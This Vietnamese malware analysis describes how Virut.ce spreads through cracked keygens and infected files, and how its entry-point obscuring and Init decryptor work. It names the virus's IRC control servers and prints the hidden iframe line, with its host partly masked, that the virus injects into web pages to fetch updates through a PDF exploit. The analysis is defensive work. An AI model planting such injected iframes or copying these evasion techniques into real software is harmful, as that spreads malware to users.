Tải bản đầy đủ (.pdf) (9 trang)

Tổng quan về mẫu malware Virus.Win32.Virut.ce (Phần II) pot

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (287.5 KB, 9 trang )





Tổng quan về mẫu malware Virus.Win32.Virut.ce
(Phần II)



Số lượng máy tính bị lây nhiễm bởi Virut.ce trong cùng thời gian từ tháng
05/2009 đến 05/2010
Cách thức lây nhiễm của mẫu virus này chủ yếu qua file thực thi *.exe và
HTML, hoặc những chương trình crack phần mềm, nhưng chúng ta vẫn
thường gọi là keygen và những file đã được crack sẵn. Cụ thể hơn, chúng
thường xuyên ẩn mình trong file crack dạng RAR/SFX với tên gọi như
codename_panzers_cold_war_key.exe hoặc
advanced_archive_password_recovery_4.53_key.exe.
Các chức năng chính của Virut
Tiếp theo, chúng ta sẽ đi đến phần chức năng quan trọng nhất – quá trình
payload (hiểu nôm na là việc thực hiện các hành vi lấy cắp dữ liệu có liên
quan đến mục đích tài chính từ người sử dụng bị lây nhiễm) của virut. Đây là
phần rất dễ nhận biết, vì nó được tạo ra và sử dụng của bất kỳ mẫu virut nào
mà không có ngoại lệ. Rất hiệu quả, thông thường nó sẽ cấy 1 chương trình
backdoor trước tiên để xâm nhập vào vùng hoạt động của tiến trình
explorer.exe (ví dụ như services.exe hoặc iexplore.exe), sau đó thực hiện các
kết nối tới địa chỉ irc.zief.pl và proxim.ircgalaxy.pl thông qua giao thức IRC
và chờ đợi các câu lệnh, tín hiệu phản hồi. Những thủ tục này có thể dễ dàng
được phát hiện bởi các chương trình an ninh phổ biến hiện nay như nod32,
rising, f-secure…:

Hình ảnh biểu diễn quá trình giải mã phần body tĩnh của Virut.ce bao gồm


tên ứng dụng bị khóa bởi virus
Trên thực tế, các mẫu virus lây nhiễm vào file *.htm, *.php và *.asp được lưu
trữ ngay bên trong các ngõ ngách của máy tính. Để làm điều này, chúng đã tự
thêm các dòng lệnh sau vào mã cơ bản: <iframe src = http://jl.*****.pl/rc/
style = ‘display:none’></iframe>. Câu lệnh này sẽ tự động tải phiên bản mới
nhất của virut về máy tính thông qua lỗ hổng của file định dạng PDF. Những
dòng này sẽ thay đổi tùy theo các phiên bản tương ứng của biến thể ce. Ví dụ,
ký tự u có thể được thay thế bởi &#117, có thể không ảnh hưởng tới trình
duyệt nhưng sẽ bảo vệ quá trình nhận diện khi chúng hoạt động.
Thảo luận chung và các phương thức lây nhiễm
Về bản chất, Virut.ce sử dụng công nghệ EPO hoặc ghi đè lên các điểm entry
để tiến hành lây nhiễm, đồng thời, 1 hoặc 2 công cụ giải mã được sử dụng
kèm trong quá trình trên. Công nghệ Entry Point Obscuring (EPO) hoạt động
dựa trên khả năng chống lại sự nhận diện. Thông thường, quá trình này được
thực hiện bằng cách thay thế những chỉ dẫn ngẫu nhiên trong toàn bộ mã
nguồn chính của chương trình và các tham số đi kèm. Bên dưới đây là ví dụ
về quá trình thay thế các chỉ dẫn và địa chỉ làm việc:

Cụm từ rewriting the entry point – dịch nôm na là quá trình ghi đè các điểm
entry, ngụ ý đến việc sửa đổi các dữ liệu PE header của file đang bị lây
nhiễm, đặc biệt là việc ghi đè lên trường dữ liệu AddressOfEntryPoint trong
cấu trúc IMAGE_NT_HEADERS32. Do đó, file thực thi sẽ trực tiếp khởi
động và kích hoạt các thành phần chính của virus. Như đã thảo luận bên trên,
các mẫu virus chỉ sử dụng 1 hoặc 2 công cụ giải mã chính trong quá trình lây
nhiễm – có thể tạm gọi là Init và Main. Công cụ giải mã Main được xác định
trong từng file bị tác động bởi Virut.ce, trong khi phần Init chỉ thỉnh thoảng
hoạt động.
Mục đích chính của phần Init là xác định và giải mã lớp dữ liệu đầu tiên
trong phần thân của virus theo đúng quy trình để giao cơ chế tự điều khiển và
kích hoạt cho nó. Tuy nhiên, các thành phần còn lại vẫn được giữ nguyên

ngay cả khi quá trình giải mã xảy ra và kết thúc. Toàn bộ công cụ giải mã Init
là 1 mảnh nhỏ trong đoạn mã từ 0x100 đến 0x900 byte, trong đó có chứa rất
nhiều các thông tin chỉ dẫn sai mục đích nhằm tranh khỏi sự nhận diện của
các chương trình bảo mật. Tóm tắt lại quá trình biên dịch, giải mã này có thể
bao gồm trong 4 bước chính sau:
- Khởi tạo và ghi kích cỡ của các section đã được giải mã tới chương trình
quản lý register
- Thực hiện các toán tử theo logic để tiếp tục mã hóa các section với hằng số
key không thay đổi
- Tăng / giảm số lượng pointer trỏ tới các section đã mã hóa
- Quay ngược trở lại bước 2 cho tới khi tất cả mọi dữ liệu được giải mã
Thông thường, phần body chính của virus sẽ có kích thước trong khoảng
0x4000 tới 0x6000 byte, và được xác định tại phía cuối của section cuối
cùng, được xác định rõ ràng bằng thuộc tính truy cập, thực thi và khả năng
ghi / đọc của dữ liệu.
Hoặc theo cách khác, chúng ta có thể hình dung quá trình trên theo sơ đồ sau:
- Quá trình Init Decryptor và EPO:

- Init Decryptor và chỉnh sửa EP:




























×